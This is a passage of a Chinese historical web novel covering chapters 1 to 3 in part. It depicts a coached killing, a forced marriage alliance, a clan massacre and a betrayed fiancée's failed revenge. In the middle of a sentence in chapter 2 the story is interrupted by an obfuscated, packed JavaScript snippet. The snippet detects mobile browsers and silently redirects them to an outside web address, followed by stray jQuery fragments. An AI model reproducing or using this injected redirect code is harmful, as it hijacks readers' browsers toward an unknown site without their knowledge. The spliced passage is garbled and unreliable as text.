桓冲仍旧有些犹豫,他听着黑衣人哭爹喊娘凄厉的求饶声,心中无论如何都无法下狠心,还想替黑衣人求情。 桓权仿佛能看透桓冲心思,擦了擦桓冲脸上的血迹,语气却不带一丝感情,道: “记住,他是奉命来杀你的!为将者,心可不能软!想一想,今晚若非我们机警,躺在这地上的可就是我们了。” 桓权并不急着杀死黑衣人,循循善诱引导着桓冲起杀心,她很清楚对于一个十四五岁的少年,杀心是一件很难的事。 但乱世,若不是我杀你,便是你杀了我。 仁慈,是乱世最可怜的笑话。 “动手吧!” 桓冲终于举起剑闭起眼睛朝黑衣人刺去,桓权冷淡的声音在他耳边响起, “睁眼!好好看看他是怎么死在你手中的。” 桓冲被猛然一喝,睁开眼睛,亲眼看着自己的剑刺进黑衣人胸口,鲜血从对方的口中涌出,目眦尽裂,手指奋力狠抓地面,留下一道道痕迹,挣扎半晌,终于不再动,只是那双眼睛死死盯着桓冲。 桓冲猛然松开手,完全不敢相信,失神道: “杀人了!我杀人了!” 桓权的声音再次在他背后响起, “记住你现在这种感觉,这就是杀人的感觉,一个鲜活的生命就这么轻易在你手中逝去。 你的父亲就是这样轻易死去的,若你无法在这乱世立身,你也会这样轻易被人杀死。 夺取生命是件很容易的事,因此为上者,必须得慎杀。” 桓权走上前去拔出黑衣人胸口的剑,鲜血顿时喷溅出来,喷洒桓权一身,桓权却仿佛未觉,将剑重新递给桓冲,见桓冲没有反应,掰开他的手指,将剑塞进他手中。 “叔父,你当初杀人时,怕过吗?” “第一次杀人总会怕的,可乱世之中,总要学会握剑杀人的。重要的不是杀人,而是杀了谁。 手中握剑,是为杀贼,是为护国,是为平天下,则心中无所畏惧。” 桓权用布擦拭着自己佩剑上的血迹,语气轻柔平淡,甚至还有着几分耐心,与刚刚判若两人。 桓冲只是怔怔地点头,他还有些没回过神。 桓权丢给他一个包袱,道: “先去换身干净衣服。” 说完桓权便打开房门,一股凉风顿时涌入房中,血腥气被冲淡了不少,看着桓权走出房门,桓冲立马望过去,道: “叔父是要去哪儿?” “我去寻驿丞,闹出这么大动静,总该有个交代才是。” 桓权一身血衣持剑走入前厅,沿途的仆役见到满身如同杀神的桓权纷纷避让,胆小的甚至吓得瘫在地上。 驿丞战战兢兢走上前,拱手作揖,道:“桓公子有……有何贵干?” 桓权抬起眼皮,傲慢而又矜贵,满身血污,分明是地狱阎罗,却又清傲非常,提剑拱手,道: “烦请驿丞通禀府君,桓权求见。” “可现在是深夜……” 驿丞的话还未说完,就被桓权打断,桓权直起身子,目光轻轻扫过驿站前台,低笑一声: “想来今夜宣城应有不少人无眠吧。” “啊?” 驿丞没听清桓权的话,错愕看着桓权,桓权看向自己房间所在的方向,道: “驿丞难道不派人去看看到底发生了什么吗?还是说此事驿丞早就知道?” 驿丞一时噎住,这个少年太聪明了!驿丞心中不由涌出恐惧,却还强装镇定,道: “是!是!是该叫人去看看的!来人!去桓公子的房间看看到底出了什么事!” “烦请驿丞通禀府君,他会想见我的。” 桓权看穿了驿丞的慌乱,却并未点穿,只是一意求见江瑎。 江瑎听人禀报驿站惨状时,心中一惊,手猛地一拍桌子,怒视着驿丞,道: “桓权他们竟敢在驿站杀人!” “是,回府君,而且不止一人,死状凄惨。” “你们为何不着人立即拿下?” “桓公子身份特殊,下官等不敢擅作主张,特来请示府君。” “立刻着人拿下!不得有误。” “是!” 驿丞领命正要离开,江瑎又叫住了驿丞,“慢着!你刚刚说那些人是在哪里被杀的。” “桓权房内。” “房内?这些人为何会出现在桓权房内,他们是什么身份?” “这……” 驿丞一时无言以对,垂首侍立,这些东西他一个小小的驿丞如何能知道。 “罢了,先让桓权来见我,另遣郡中刑曹调查此事。” “是。” 驿丞有些意外,不明白郡守为何突然变了主意,明明一开始听闻桓权叔侄二人杀人时,郡守是很生气的。 不过这一切与他无关,他只领命离开。 “士衡公子深夜动静可不小啊!” 江瑎的语气生硬中带着几分讥讽,对于桓权的行礼完全不予理会,只低头看着自己手中的书简。 桓权直起身来,平视着江瑎,道: “府君到底在害怕什么?” “嗯?” 江瑎因桓权的问题疑惑抬起头看向了桓权,来见他之前桓权已经沐浴过,换了一身干净衣物,一身素白衣衫,头裹白色缁撮,目光清澈,当真犹如高山白雪,只可惜白雪蒙尘。 “府君想来今夜无眠是在犹豫吧?让桓某猜猜府君今晚都见过哪些人。 府君应该已经见过苏钧使臣了吧?对方是不是权您杀了我,可您为何没同意,您想在我这寻一条出路。” 桓权的话急促铿锵,一击便打在江瑎的心脏上,江瑎看着眼前的少年,他似乎比白日要张扬许多,眼神一寸寸侵略着江瑎的心房。 “你如何得知?” “显而易见的。府君是苏钧一手提拔,知遇之恩您得报,可您也知道,如今形势,苏钧必不能久,您并不想给苏钧陪葬,只是苦无出路罢了。 如今朝廷义军主动请求结盟,您不想错过,可您又担心,杀害朝廷重臣一事会被追究,所以您犹豫了。” 江瑎没想到自己的心思竟完全被桓权猜中,愣在原地看着桓权,一个字也说不出来,桓权踱步走了一圈,继续道: “只是府君这一犹豫,我叔侄可险些命丧黄泉。” “什么意思?” “府君可知今晚之事由何而起?” “什么意思?” “正因为府君态度不明,有人自然是要逼府君一把。若今晚我叔侄二人死在宣城,府君您可就彻底没了退路。” “你是说那些人是来杀你们的!” 江瑎一惊,冷汗浸湿后背,抬起衣袖擦了擦额头上的冷汗,明明已经入秋,江瑎心中却升起一股燥热。 太险! 江瑎不敢去想桓权叔侄死在宣城的后果,他竟完全忽视了这一层。 冷静下来,江瑎上下认真打量了桓权一番,道: “你桓氏一族当真不会追究桓修一事吗?” 这是江瑎最害怕的事,毕竟桓修身份太过特殊,之前他一心一意效忠苏钧,下手自然狠辣果决,如今他却不得不考虑起此事的后果。 “府君可放心,桓权定不追究此事。” “那就好。” 江瑎终是长舒一口气,答应桓权联合义军的请求。 眼见目的达成,桓权却并没有着急离开,反而站在原地,似笑非笑看着江瑎,江瑎颇感奇怪,道: “士衡公子可还有事?” “口说无凭,还请府君拿出点联盟的诚意来。” 在彻底看透江瑎心思的那一刻,攻守易势,此刻不是桓权请求江瑎,而是江瑎这位逆贼展现自己归顺朝廷的忠心的时候了。 “你想如何?” “府君身边有个有不少苏钧的人吧?既然已经决议归于朝廷,这些人也就没存在必要了吧。” 与当初苏钧逼江瑎杀桓修父子一般,如今的桓权同样要求江瑎做出同样的事来。 乱世之中,人性反复,要是不彻底斩断退路,谁又会相信了? “这……” 江瑎犹豫了,他并不想把事情做得太绝,毕竟现在苏钧还挟持着天子,胜负尚未决断,他并不想背叛苏钧。 既然苏钧和义军都需要他,他何不坐山观虎斗,谁赢他帮谁。 风险最小,利益最大。 坐收渔翁之利。 桓权冷笑着,江瑎想得倒是挺美的,桓权继续道: “府君可知汉武帝时戾太子事?” 江瑎不明桓权突然提及历史,是什么意思,好奇看向桓权,桓权背手而立,侧身对着江瑎,傲如修竹,他只得将目光投向年纪更小些的桓冲。 桓冲则走上前,拱手道: “不知府君可曾读过太史公《报任安书》?” “自然是读过的。” “书中所提及的任少卿因何而死,府君想必也是明白的。” 桓冲的目光直视江瑎,小小少年在波诡云谲的政局中早早学会掩饰自己心中情绪,目光锐利,却将恨意死死压在心底,只留下满眼清明。 江瑎身子一怔,已经不需要桓冲在细说,他什么都明白了,有些泄气扶着凭几,内心的轰然崩塌,让他无暇再顾及脸面。 任少卿就是因为在戾太子一案中袖手旁观,后被论罪腰斩。今日乱局中,他可保得一世安稳,可他日无论是苏钧胜,还是义军胜,谁都不会放过他的。 手中握有兵权,又地处兵家必争之地宣城,他没有坐观虎斗的资格。 他必须做出选择。 “你让我想一下。” 江瑎扶着额头,额头的青筋拽着脑袋疼得厉害,他实在不愿去想其中的利害,太疼了!太麻烦了! 一旦选错,满盘皆输,整个宣城江氏都会成为这场乱局的陪葬品。 “府君,桓某得提醒您,战场局势瞬息万变,这是您仅有的机会,因为梁城义军已经南下,留给您的时间不多了。” 桓权说完,对江瑎拱手相让,后退三步,转身就要离开。 “慢着!” 江瑎深呼吸一口,睁开眼睛看向桓权,强装镇定,可他的眼睛早已出卖了他,早在他松口的那一刻,他就已经掉入局中,逃不开躲不了。 乱世之中,家族、性命成了一条缰绳拴着一个个人不由自主走向深渊。 “可否换个要求?” “府君,我桓氏的人不能白死,叔父父子两条命总得有个交代,您也不希望这笔账算在您头上吧?” 桓权抬眼直勾勾盯着江瑎,没有半分退让之意,语气已经不自觉带上几分威胁,她抓住了江瑎的软肋。 桓权知道江瑎在害怕什么,她不妨放大这份恐惧,让其为自己所用。 空手套白狼的事她桓权可不认。 桓权一步步向前逼近江瑎,站在离江瑎三步远的距离处,居高临下俯视着江瑎,道: “府君应该知道,我桓氏一族还没受过这样的委屈。” 江瑎躲避着桓权审视的目光,少年的目光攻击性太强,明明一身布衣,不饰锦绣,却有着天然的矜贵傲气。 “我可以杀了他们,可同样的,你也得答应我一个要求。” “什么?” 桓权后退半步,江瑎顿时感觉威压减轻,他起身来到桓权面前,道: “我有一女,与士衡公子年龄相仿,可称佳偶。若江桓两族联姻,我宣城江氏自然愿意助义军剿灭叛贼。” 桓权面目难掩错愕,“联姻?”她一时也看不清江瑎的想法,却没法立刻拒绝,江瑎已然松口,她绝不能再冒险。 “府君有所不知,桓某尚在孝期。” “孝期又有何妨?先定下婚约,待孝满,再行嫁娶。” 江瑎是铁了心要与桓权联姻,桓权心神微动,却没有拒绝,到底是应了下来。 江瑎叫人将苏钧拿下隐藏在城中的斥候、使者集体斩杀于郡守府前,鲜血满地,头颅滚滚。 桓权叔侄二人就在一旁角楼上看着,两人目光冷漠,心中没有半分波澜。 “如何?士衡公子可满意否?” 桓权冷笑一声,道: “不过是几个犯上作乱的贼子罢了,桓某该恭喜府君才是。” “什么?” 江瑎追问,他实在是欣赏这个十七八岁的少年,有勇有谋,出身大族,果决狠辣,江瑎几乎可以断定,此人日后成就必然不小。 这个人他得拉拢着,没有什么比婚姻更牢固的纽带了,待他日桓权飞黄腾达,难道还能少了他这个岳父吗? 苏钧这座靠山注定是要倒下了,他得寻找一座新的靠山。 “恭喜府君弃暗投明,来日叛乱被平,府君定能如愿封侯。” 桓权笑着给出了承诺,江瑎并不怀疑眼前桓权的本事。 江瑎恐桓权反悔,特意在府中为两人定亲,后派遣三千人马护送桓权等人回荆州。 出城之后,桓冲方才询问叔父,“您为何要答应江瑎定亲?” “我若不应,他必然怀疑你我用心,更何况一桩婚姻罢了。” “可这样的话,难道我桓氏一族真的不报仇了吗?” 桓冲不甘心,他看向祖父和父亲无头的尸首,心如刀割,若是不能报仇雪恨,他枉为人子。 “冲儿,答应江瑎是我,不是你。桓氏一族的家主是你伯父,也不是我,我只答应我桓权不计较此事,可不代表你可以不计较。” 桓权的语气带着些许意味深长。 2. 第二章 渣男体验券 三年后。 太和十年秋,寒霜未尽,晨风凛冽,东方肚白,恰时踏秋赏景最好时。 江芷做了一个很悠长的梦,梦中她的亲人尽数被杀,而她奋力奔回家中,却只见满目血腥,满门被屠。 那种痛苦至极的绝望让江芷挣扎着从梦中醒来,已经是满脸泪痕。 江芷木然从床榻之上坐起,只觉脸上是湿漉漉的,用手一揩,才知是泪水,看着手中的泪珠,江芷有着茫然,只怔怔瞧着自己指尖的那滴残泪。 “吱呀”一声,门开了。 江芷顺着声音望去,五个女使捧着洗漱的水、头饰、衣物……鱼贯而入,这些女使都有着一样颜色的衣物,梳着双丫髻,年纪都不过十四五岁。 为首的一个女使端着手,手里并没有托盘,发髻间的头饰较其他人也要多上两支绢花。 “女郎,奴服侍您洗漱更衣。” 态度恭敬,语气却是不容拒绝,江芷犹如一个布娃娃木然由着这些人为她梳妆打扮。 对于这些女使,江芷并不愿与她们计较,她很清楚,这些人也不过是奉命行事罢了,她就算是要闹,这些人也是做不了主的。 女使们为她梳的发髻是时下建康流行的凌云髻,简单的木兰花银丝步摇、垂珠簪珥,只是特意在鬓角簪上一朵白花,选的衣物也都是素色的襦裙,外罩的广袖衫则是白麻的丧服。 江芷瞧着这身“贴心”的装扮,心中冷笑,在一切梳妆结束后,伺候梳妆的女使尽数退下,只留下为首的那人。 江芷盯着房门,梦中的场景仍然在她脑际挥之不去,经过一番折腾,江芷早已完全清醒,只是她多希望那一切都是一场梦。 温柔的母亲、慈爱的父亲、疼爱她的兄长、慈祥的祖父……所有的一切都毁于一场血腥的屠杀,而她却无意之中做了刽子手的帮凶。 桓权! 这个江芷一辈子都不会忘记的名字! 与她有着血海深仇! 而一个月前,这个人还是她的未婚夫。 那时她还满心期待着能够嫁给这个温柔英俊的少年郎,想象着两人日后举案齐眉、相敬如宾的美好。 她与桓权的婚事是三年前她的父亲亲自定下的。 那时,朝廷动荡,父亲颇有些兵力,虎踞一方,成为各方都要拉拢的存在。 彼时尚未及冠的桓权以天子使臣的身份出使,父亲欣赏桓权年少有为、英勇不凡,不仅同意了桓权借兵平叛的请求,还将自己许配给桓权。 只是那时的桓权尚在孝期,不能立即迎娶,却也定下了两姓之约,只待日后守丧结束,便可完成婚礼。 一年之后,桓权守丧结束,却并未如约来迎娶自己,父亲曾写信质问,桓权亲自登门赔罪,承诺待自己入仕,便迎娶佳人。 那时江芷以为桓权是为了许她一个未来,故而才不愿以白身相娶,又是感动又是欢喜。 江芷初见桓权时,只觉此人丰神俊朗,仪表不凡,早已动了春心。 后来才知他是江左赫赫有名的才子,父亲夸赞他有勇有谋,母亲也说桓氏乃是当朝世家,姊妹众人又都是羡慕不已…… 种种之下,她便早已芳心暗许。 初定下婚约那一年,桓权只偶然有些信件,大多都是给她父亲和兄长的,只在末尾问候了她两句,江芷却已然觉得甘之如饴。 后桓权出仕,与她往来的信件才稍多一些,信中也多有些关心之语,江芷便将这些信件小心收藏,时时拿出来品味。 江芷幼年时就曾跟着母亲读书,也颇通诗礼,自然也希望自己未来的夫君能够与自己琴瑟和鸣,她听闻桓权不仅擅长经学,更精通书法,乃是当世有名的书法大家。 江芷见过桓权的字,果然颇具风骨,她心中倾慕,便偷偷模仿桓权的字迹,至今日,已有了八分像了。 虽然与桓权相见的次数一只手都能数得出来,江芷却早已在不知不觉中喜欢上了桓权,每次偶然从父兄口中听到桓权这个名字时,她的心中就犹如蜜一般甜。 桓权,这个人日后是属于她的。 只是那时的江芷并不知道,桓权那所有的温良恭俭让不过是一副虚伪的面具,面具之下的他足够的阴冷残忍。 桓权以秘书郎的身份入仕,不足一年,就迁为尚书郎,直入尚书台,掌官员升迁考核一事。 这一年,是两人定亲的第三年,桓权以来日成婚便利为由,将她接到了建康城。 江芷此前从未来过建康,那是她第一次见到了帝都的繁华,这个聚集了天下最有权势之人的地方,而日后她也将属于这里。 桓权将她安居在别院之中,以贵客之礼相待,桓家阿姊亲自带她去逛建康城最好的钟楼酒肆,将御赐的首饰绸缎赠予她,带她去参加京中世家贵女举办的诗会…… 这些对于出身郡城的江芷感到别样新鲜,在这些贵女的光彩夺目下,江芷甚至生出了几分自卑。 桓氏一族,是京中几大世族之首,家中儿郎为官者不知凡几,其祖辈父辈皆位列三公,其姻亲都为钟鸣鼎食之家,相比起来,自己这个郡守之女实在太过低微。 昔日在宣城时,江芷从不觉得自己与桓权这桩婚事有何不妥,直到入了这建康城,在众人有意无意地科普下,江芷才知道他们这门亲事是多么“门不当户不对”。 一个是煊赫百年的世家名门,一个是投机取巧的寒门小族,这一切与江芷本人的才学情貌无关,只是家世这一项,就是建康城的笑话。 人们都说,若非当日宣城郡守乘人之危,又怎会有这一桩极不般配的婚事。 几日的游宴诗会,更让江芷心中生出几分灰心来,原本的满怀期待,如今倒多了几分对未来的忧虑。 就在这时,桓权出现了。 似乎是看出了她内心的隐忧,桓权带着她去山间踏青散心,去寺庙祛祸祈福,去酒肆中品尝民间小吃……有意无意宽慰她。 桓权的体贴入微,让远离家乡亲人的江芷倍感安心,原本朦胧的爱意在几日的相处下,渐渐清晰起来。 哪怕仍旧对嫁入世家满心忧虑,但她相信,只要有桓权的陪伴,也定能相守终身。 就在江芷沉溺于桓权的温柔小意中时,桓权的侄子桓冲却借两家姻亲的身份,直入宣城郡守府,持刀将江氏满门屠尽。 此事一出,朝野震动。 江芷得知消息,星夜赶回宣城,彼时她在京都举目无亲,所能依靠的只能是未婚夫桓权。 尽管明知杀人者桓冲乃是桓权内侄,江芷仍旧对桓权怀有希望。 她以为桓权能够大义灭亲,至少那时在她眼中的桓权一直都是正直良善的。 桓权亲自护送江芷回宣城,安葬了她的亲人,为她指了一条可以鸣冤的道路,让江芷亲写血书向司隶校尉状告桓氏一族纵亲杀入,目无王法。 那时她真的以为桓权是来帮她的,他的眼神那么真挚,在她最绝望、最无措的时候,递来了手,而自己就像溺水的人拼命抓住那根救命稻草。 江芷亲眼见到屠杀她江氏一族的凶手被槛车押送至建康,她永远也忘不了那张脸,那个凶恶的眼神。 江芷恨不得冲上去生食其肉,但凶手的目光又让她畏惧,那是穷凶极恶的目光,江芷毫不怀疑,凶手看她时一定也是想杀掉她的,又是愤怒,又是恐惧。 在极度的仇恨的情况下,江芷的脑海中一片空白,她怀中藏着短刀,打算冲上去与那人同归于尽。 是桓权拉住了她,用手遮住了她的眼睛,暂时的黑暗让江芷清醒下来,桓权在她耳边低声道: “别冲动,一切有我。” 出于信任,江芷点点头。 她看着桓权走上前,与押送的官员寒暄,之后又与槛车中的桓冲耳语了一番。 一介孤女,养在深闺中的江芷并不知道如何才能呈送冤情,桓氏一族势大,江芷向曾经父亲的故交寻求帮助,却都被拒之门外。 是桓权暗中助她,让她有机会将血书被呈送给司隶校尉,江芷不知道桓权做一切的目的是什么,但桓权的确给了她实质上的帮助。 她以为桓权是站在她这边的,是她值得托付一生的良人。 可谁能料到,真的将这件事闹到朝廷之上,天子面前的时候,桓权却突然变脸了。 司隶校尉以桓玑、桓权兄弟二人治家不严、纵侄行凶的罪名参两人。 站在朝堂之上,听着司隶校尉对桓氏兄弟二人的参奏,江芷脑海中一片空白,她没想过针对桓权,她只是想让凶手杀人偿命。 接下来所发生的一切完全超出了江芷的想象。 此时的桓权不再是那个一直站在她身后的良人,而是刽子手的帮凶。 他在为他的侄子开罪! 江氏全族十余人的性命,在桓权的嘴里全部变成了江氏一族罪有应得。 颠倒黑白! 江芷第一次发现原来语言可以成为利刃。 江芷已经记不清朝堂辩论那天到底发生了什么,又或许一切转变得太快,让她猝不及防。 等她回过神来的时候,江氏一族已经成为大逆不道的逆贼了! 江氏一族被屠之人的冤屈不仅无法伸张,就连活着的江氏族人也被囚于狱中,而凶手无罪释放,甚至被赞以忠孝。 江芷听到这个结果时,直接被气晕倒了朝堂上。 等醒来时,她就已经回到了别院。 江芷想不明白,明明她们江氏一族才是受害者,为什么最后的结果变成了这样。 接着又换了一批女使,这些女使呈上了朝食,都是精心烹饪过的珍馐美馔,但江芷却一点胃口都没有,她盯着为首的女使,道: “我要见桓权。” “这……” 女使犹豫了一下,并没有答应,而是转移话题道:“请女郎先朝食。” 江芷的表情没有任何波动,只是重复了一遍自己的要求。 “我要见桓权!” 女使沉默了片刻后,道: “请女郎稍候,奴去通禀一声。” 朝阳斜射入户,树影斑驳,满墙书架。 江芷踏入书房后,一眼就见到了跽坐在竹席上看书的桓权。 萧萧肃肃,眉目清浅,宛如浮动的绿水,着青衣,宽袍广袖,虽是素衣,举止之间却有一种天然风流。 和当日朝堂之上的咄咄逼人不同,平日的桓权总是素衣宽袍,淡雅从容,貌若好女的容颜在淡漠疏离之下,便如山间之月,只可远观。 曾经的江芷为这一副皮囊而心动,如今变故之下,再见这副皮囊,江芷仍旧难以按下心中的悸动。 那是她曾真心等待三年的人。 一朝变故,满盘皆输。 江芷站在门口,不曾再进一步,只是怔怔看着桓权,不发一言。 桓权只微微抬眼,挥手让书房侍候的人尽数退下,房门被贴心带上,屋内只有江芷与桓权两人。 桓权起身,对江芷作揖道: “女郎,请坐。” 哪怕到了这个时候,桓权仍旧维持着世家子弟的风范,不急不躁,徐徐施礼。 从前的江芷钦慕这样的桓权,如今的江芷憎恨这样的桓权。 他怎么可以如此的虚伪!如此令人恶心! “为什么?” 江芷没有理会桓权的惺惺作态,开门见山,直接发问。 “桓冲是我子侄,权不能袖手旁观。” 桓权见江芷并不理会自己的邀请,若无其事挺直身姿,毫不犹豫回答了江芷的问题。 平静无波的语气,让一股无名怒火直窜江芷脑际,因为气极眼眶通红,声音也沙哑起来。 “难道我江氏族人就白白死了吗?桓权!你的子侄杀了江家十多口人!” 面对江芷的质问,桓权只是淡淡看着江芷,没有太多情绪的起伏。 “太和八年,苏钧之乱,我叔父、堂兄皆丧于你父之手,冲儿是我堂兄长子,当年不过才十四岁。冲儿为父报仇,我没有资格阻拦。” 闻言,江芷愣在了原地。 这件事她从来都不知道,没有人告诉她桓江两族还有这样一段恩怨。 “你猜当年我为何要带着桓冲孤身去拜访你父亲?” 江芷木然摇摇头,却还是说出了自己知道的事情。 “难道不是求我父派兵增援吗?” “是,也不是。 当年我带着冲儿孤身拜访你父,就是为了讨要我叔父和堂兄的尸首,而结盟一事,不过是你父亲权衡利弊之后所做的选择。 道之以情,论之以礼,诱之以利。 你父亲在苏钧之乱时,一初便投靠了苏钧,所以才会在我叔父和堂兄去求援时,暗中埋伏,杀了他们,想用他们的人头去向苏钧表忠心。 后来四方勤王之士与苏钧乱军陷入僵持,你父亲情知形式将变,再加上我许他,待日后祸乱平定,可封拜侯爵,饶是如此,他也害怕日后我桓氏一族秋后算账,才有你我婚约。” 江芷从未想过,她这桩众人艳羡的婚事,竟不过是两方势力博弈的结果,她不过是父亲用来平定桓氏一族怒火的棋子。 “你当年答应婚约,为何今日又要反悔?” 江芷不明白既然许下婚约,桓氏一族就不该再计较当年被杀的桓氏父子一事,为何时隔三年,又要突然报仇,屠杀江家满门。 “当年答应婚约,不过是权宜之计罢了。更何况许婚的是我,报父仇的是冲儿。” 骗婚一事,在桓权的口中是那么理所当然,江芷从桓权的语气中并没有听到半分悔意,他太平静了,自己的一腔真心在他眼中什么都不是。 江芷心中满是荒凉,泪水模糊了视线,三年的等待与真心,满门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653578|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的仇恨与血腥,江芷只觉得荒谬! “这不是真的!你骗我!你骗我!” 江芷不愿相信桓权所说的话,她的父亲绝不会是乱臣贼子,这一切都是桓权的错! 对!桓权在骗她! 之前他不是一直在欺骗自己吗?现在也一样!他在骗我! 江芷宽慰着自己,她告诉自己不要去相信桓权所说的每一个字。 桓权他就是个骗子! 桓权淡淡一笑,看起来并不在乎江芷是否相信自己,他整理着书案上的简牍,随意地道: “事到如今,我还有欺骗江女郎的必要吗?” 江芷心中一怔,她看向桓权的目光霎时间淬满了怨毒,她恨桓权的无情,比之屠杀她满门的桓冲更恨! 因为信任,背叛格外刻骨铭心! “为什么?桓权!为什么?” 江芷一声质问着,十八岁的她不明白是什么可以让一个人如此无情,是什么可以让一个人如此无耻! 道貌岸然!衣冠禽兽! “江女郎,自始至终,我桓权都未想过要迎娶女郎,桓江两族,血海深仇,并不是你我这一桩婚事就能够化解的。” 桓权见江芷仍旧执着于情爱,索性将一切挑明,他不在乎江芷是否相信自己所说的过去,也不在乎江芷心中怎么想的。 将手中的毛笔放在笔架之上,正面直视着江芷,目色幽深,犹如寒渊深塘,叫人不由心生寒意。 江芷陷入错愕,随即破口大骂。 “桓权!你这个畜生!” 桓权没有否认,他平静地接受着江芷的辱骂,淡淡看着江芷崩溃发怒,冷漠疏离,似乎这一切与他毫无关系。 江芷冲上去想撕开桓权这副虚伪的面目,失去亲人的痛苦,无法报仇的仇怨,被欺骗的恼恨……种种情绪之下,江芷抽出袖中早已准备好的匕首,直接朝桓权的胸口刺去。 一切发生的猝不及防,一道寒光闪过,利刃就直接穿破皮肉,江芷只觉手腕一痛,就松开了握着匕首的手,接着膝盖被重重一击,受痛就跪了下去,双手被背剪在身后,还没等她反应,双手就被绑了起来。 接着便只觉脖颈处一痛,失去了意识。 “来人!” 书房的门被推开,强烈的白光从门□□进房中,一个女使惊呼了一声“公子!” 那个女使江芷认识,蕲茝,是桓权的素日宠爱的,当日她入建康时,就陪在桓权身边的。 江芷知道蕲茝身份不同寻常,世家贵族大多有爱姬宠妾,当日她虽略有些醋意,却还是接受了。 “血!公子!这怎么回事?我去寻医师!” 蕲茝压根就不去在意被捆着的江芷,满心满眼都只有桓权,见桓权捂着肩膀,急得直冒汗,说话也语无伦次起来。 桓权拉住了蕲茝的手,强忍着肩上的疼痛,道: “无碍,你先将江女郎带回房间。” 蕲茝这才注意到被五花大绑起来的江芷,瞬间就意识到桓权的伤自何而来,当即就要冲上去,怒扇江芷几个巴掌。 “蕲茝!”桓权看出了蕲茝心中所想,吸了一口冷气,柔声道: “听话!” “可是……” 蕲茝有些不满,但对上桓权坚持的目光,也只能听命,在女使带走江芷的时候,桓权叮嘱了一句。 “善待江女郎。” “是。” 蕲茝几乎是咬牙切齿应下的。 蕲茝带着江芷离开后,桓权才无力地瘫坐在地上。 入夜,朗月照轩。 医师为桓权包扎好伤口,桓权斜倚着引枕,翻阅着江氏一族的案卷。 江氏一族的案子最初是被交于三司会审,所谓的三法司分别是廷尉、御史中丞和司隶校尉。 此案虽案情并不难梳理,只是审案之人的廷尉正是桓氏如今的家主——桓玑,桓玑虽自请回避,然而大将军极力举荐,桓玑最终还是主审此事。 江氏灭门一案涉及桓冲,桓玑虽是主审,却不便多言。 另外二人,司隶校尉主张严惩,以为桓冲擅杀朝廷大臣,其罪当诛,桓玑教养子侄不力,也应当被罢官论罪;御史中丞则以为桓冲忠贞护国、孝表天地,屠灭江氏的行为虽有过,其情可悯,其理可明,当朝以孝治天下,桓冲此举不但不应罚,还应赏。 二人争执不下,最终闹到了天子面前,天子询问大将军的意思,大将军则以为此事可当朝廷议,让朝臣们都来辩一辩。 桓氏一族本就是刑名出身,自然是不惧的,只是此事桓玑身为家主不便出面,便只能由桓权来代替。 桓权不仅是桓氏族人,更是精通经学,如何论礼法,桓权可太擅长了,鞭辟入里,由古及今,引经据典,一场酣畅淋漓的情理之辩,礼法之辩,不仅让桓冲无罪释放,更让江氏一族坠入万劫不复的境地。 桓冲由一个屠戮满门的刽子手变为忠臣义士,他孤身入府为父报仇的故事,将为后世之人所以传颂。 对于这个结果,于桓权是意料之内,早在桓冲决议报父仇的那一刻,桓权便想好了所有的应对之策。 包括江芷的怨恨。 如今江氏一族当初通敌叛国的事情算是定下了,只是对于如今活着的江氏族人如何处置,尚无定论。 “三公子,这是大将军府送来的。” 桓权正想着江氏谋逆一案,毛舒便走了进来,黑衣粉面,发髻高耸,分明是一位佳人,眼神却清冷犹如数九寒霜,迎上桓权的目光,毛舒递来了一个密封着的锦囊。 桓权打开锦囊,里面放着一张黄纸,黄纸上写着的是对于江氏族人的处置。 年长者斩首,余者皆流放。 桓权并不惊异于这样的结果,早在三年前,江氏一族就该如此,三年的隐忍,终于不算白费。 桓权将黄纸塞回锦囊中,道: “冲儿呢?” “午后申时冲郎君被郎主接回府中了。” 桓权沉吟不语,毛舒也不敢打扰,眼神空荡荡盯着桓权,许久,桓权方才道: “我受伤一事,兄长可知?” “按公子的意思,未曾告知郎主。” “如此便好。” 桓权微微颔首,将手中锦囊递给毛舒,示意她打开了看看,毛舒看完黄纸上的字,略微有些犹豫,桓权掀开眼皮看了毛舒一眼,道: “你想说什么,说吧。” “公子,当真以为这种报私仇的行为正确?” “舒女郎以为呢?” “公报私仇并非一个好词。” 毛舒斟酌后,方才缓缓道出自己的想法。 桓权颔首一笑,并不说话,毛舒摸不清桓权的想法,不敢擅自开口。 许久,桓权才道: “若他日江芷要报父仇,想来我也是无言以对。” 3. 第三章 河东邓玠 “权儿,你非要保下江家那女郎吗?” 桓玑看着跽坐在竹席上看书简的桓权,实在是有些不明白桓权的态度。 “兄长何必多问,江女郎既已许我,我自当护她。” “可我听说,她要杀你。” 桓权翻动书简的手微微一顿,随即将手中的书简一合,放在了书案上,看向了桓玑,笑道: “兄长这又是打哪里听来的谣言。” “谣言吗?” 桓玑反问,身为桓氏家主,他自然是有所耳闻才会开口询问,见桓权不愿据实以告,他自然不会再多问。 他二人虽为兄弟,却并非没有隔膜,只是同为桓氏子弟,他们身上背负着一样的责任。 “罢了!江氏女郎的事,你自己拿主意就是。” 桓权与桓玑并非同母,又因一些旧事,桓玑虽为兄长,桓权的事他却是不便多言的。 桓玑挥手屏退书房众人,只余下他们兄弟二人,桓玑从袖中掏出帛书一份,递给桓权,道: “我听宫里传来消息,陛下近日病情加重,只怕朝局有变。” 桓权将帛书内容浏览一遍后,凑到烛火处,将帛书点燃,眼瞧着帛书燃烧起来,一点点化为灰烬,直到快要燃烧到指尖的时候,才扔下,看着最后的灰烬落在地面,道: “静观其变就好,兄长这几日就不用去官署了,上疏自请闭门思过,不见外客。” “请罪?” “这次江氏的事情虽是解决了,却也留下了不少隐患,朝中不少人与我桓氏不睦,现在内宫情况不明,只怕有人要趁此生事,兄长何不趁此避一避?” 桓玑明白桓权的意思,并没有反对,只是略有些忧虑地看向桓权。 桓权的脸色苍白,面无血色,作为庶子,他的前程只能靠他自己去博,这就注定他要走的路风险万分。 现如今,内宫不安,帝位不明,正是桓权这样的人寻求机遇最好的时机,桓权是不会坐以待毙的。 “那你呢?” 